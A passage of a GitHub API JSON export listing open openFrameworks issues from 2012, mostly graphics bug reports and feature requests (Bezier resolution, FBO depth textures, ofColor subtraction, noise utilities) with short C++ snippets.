ttps://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":0,"created_at":"2012-04-20T08:51:51Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","id":4174070,"number":1186,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","user":{"login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","url":"https://api.github.com/users/neilmendoza","html_url":"https://github.com/neilmendoza","followers_url":"https://api.github.com/users/neilmendoza/followers","following_url":"https://api.github.com/users/neilmendoza/following","gists_url":"https://api.github.com/users/neilmendoza/gists{/gist_id}","starred_url":"https://api.github.com/users/neilmendoza/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neilmendoza/subscriptions","organizations_url":"https://api.github.com/users/neilmendoza/orgs","repos_url":"https://api.github.com/users/neilmendoza/repos","events_url":"https://api.github.com/users/neilmendoza/events{/privacy}","received_events_url":"https://api.github.com/users/neilmendoza/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-18T15:08:32Z","updated_at":"2012-05-01T04:10:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","id":4132608,"number":1178,"title":"OpenGLES2 not working","user":{"login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","url":"https://api.github.com/users/erinnovations","html_url":"https://github.com/erinnovations","followers_url":"https://api.github.com/users/erinnovations/followers","following_url":"https://api.github.com/users/erinnovations/following","gists_url":"https://api.github.com/users/erinnovations/gists{/gist_id}","starred_url":"https://api.github.com/users/erinnovations/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/erinnovations/subscriptions","organizations_url":"https://api.github.com/users/erinnovations/orgs","repos_url":"https://api.github.com/users/erinnovations/repos","events_url":"https://api.github.com/users/erinnovations/events{/privacy}","received_events_url":"https://api.github.com/users/erinnovations/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":26,"created_at":"2012-04-16T11:19:36Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","id":4117762,"number":1175,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-14T13:45:42Z","updated_at":"2012-04-14T13:45:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","id":4081188,"number":1171,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","user":{"login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","url":"https://api.github.com/users/jesusgollonet","html_url":"https://github.com/jesusgollonet","followers_url":"https://api.github.com/users/jesusgollonet/followers","following_url":"https://api.github.com/users/jesusgollonet/following","gists_url":"https://api.github.com/users/jesusgollonet/gists{/gist_id}","starred_url":"https://api.github.com/users/jesusgollonet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jesusgollonet/subscriptions","organizations_url":"https://api.github.com/users/jesusgollonet/orgs","repos_url":"https://api.github.com/users/jesusgollonet/repos","events_url":"https://api.github.com/users/jesusgollonet/events{/privacy}","received_events_url":"https://api.github.com/users/jesusgollonet/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-12T10:09:42Z","updated_at":"2012-04-12T10:09:42Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","id":4063366,"number":1165,"title":"ofLogError, ofLogWarning lack format, ... args","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":6,"created_at":"2012-04-11T11:56:33Z","updated_at":"2012-04-21T15:41:01Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","id":4032047,"number":1152,"title":"grabScreen in ofImage fails on Android","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":7,"created_at":"2012-04-09T17:15:21Z","updated_at":"2012-07-13T19:01:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","id":4015514,"number":1146,"title":"Document Project Generator / clean out old tools","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-07T14:43:53Z","updated_at":"2012-04-07T15:00:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","id":4010494,"number":1145,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","user":{"login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","url":"https://api.github.com/users/rezaali","html_url":"https://github.com/rezaali","followers_url":"https://api.github.com/users/rezaali/followers","following_url":"https://api.github.com/users/rezaali/following","gists_url":"https://api.github.com/users/rezaali/gists{/gist_id}","starred_url":"https://api.github.com/users/rezaali/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rezaali/subscriptions","organizations_url":"https://api.github.com/users/rezaali/orgs","repos_url":"https://api.github.com/users/rezaali/repos","events_url":"https://api.github.com/users/rezaali/events{/privacy}","received_events_url":"https://api.github.com/users/rezaali/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-04-06T22:02:01Z","updated_at":"2012-04-07T19:49:31Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","id":4001148,"number":1144,"title":"ofColor subtraction and negative values","user":{"login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","url":"https://api.github.com/users/jembezmamy","html_url":"https://github.com/jembezmamy","followers_url":"https://api.github.com/users/jembezmamy/followers","following_url":"https://api.github.com/users/jembezmamy/following","gists_url":"https://api.github.com/users/jembezmamy/gists{/gist_id}","starred_url":"https://api.github.com/users/jembezmamy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jembezmamy/subscriptions","organizations_url":"https://api.github.com/users/jembezmamy/orgs","repos_url":"https://api.github.com/users/jembezmamy/repos","events_url":"https://api.github.com/users/jembezmamy/events{/privacy}","received_events_url":"https://api.github.com/users/jembezmamy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-04-06T07:56:44Z","updated_at":"2013-02-11T12:17:22Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","id":3917377,"number":1134,"title":"multidimensional noise output","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-04-01T16:44:55Z","updated_at":"2012-04-03T17:37:10Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","id":3917018,"number":1133,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-04-01T15:45:11Z","updated_at":"2012-04-01T17:48:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. 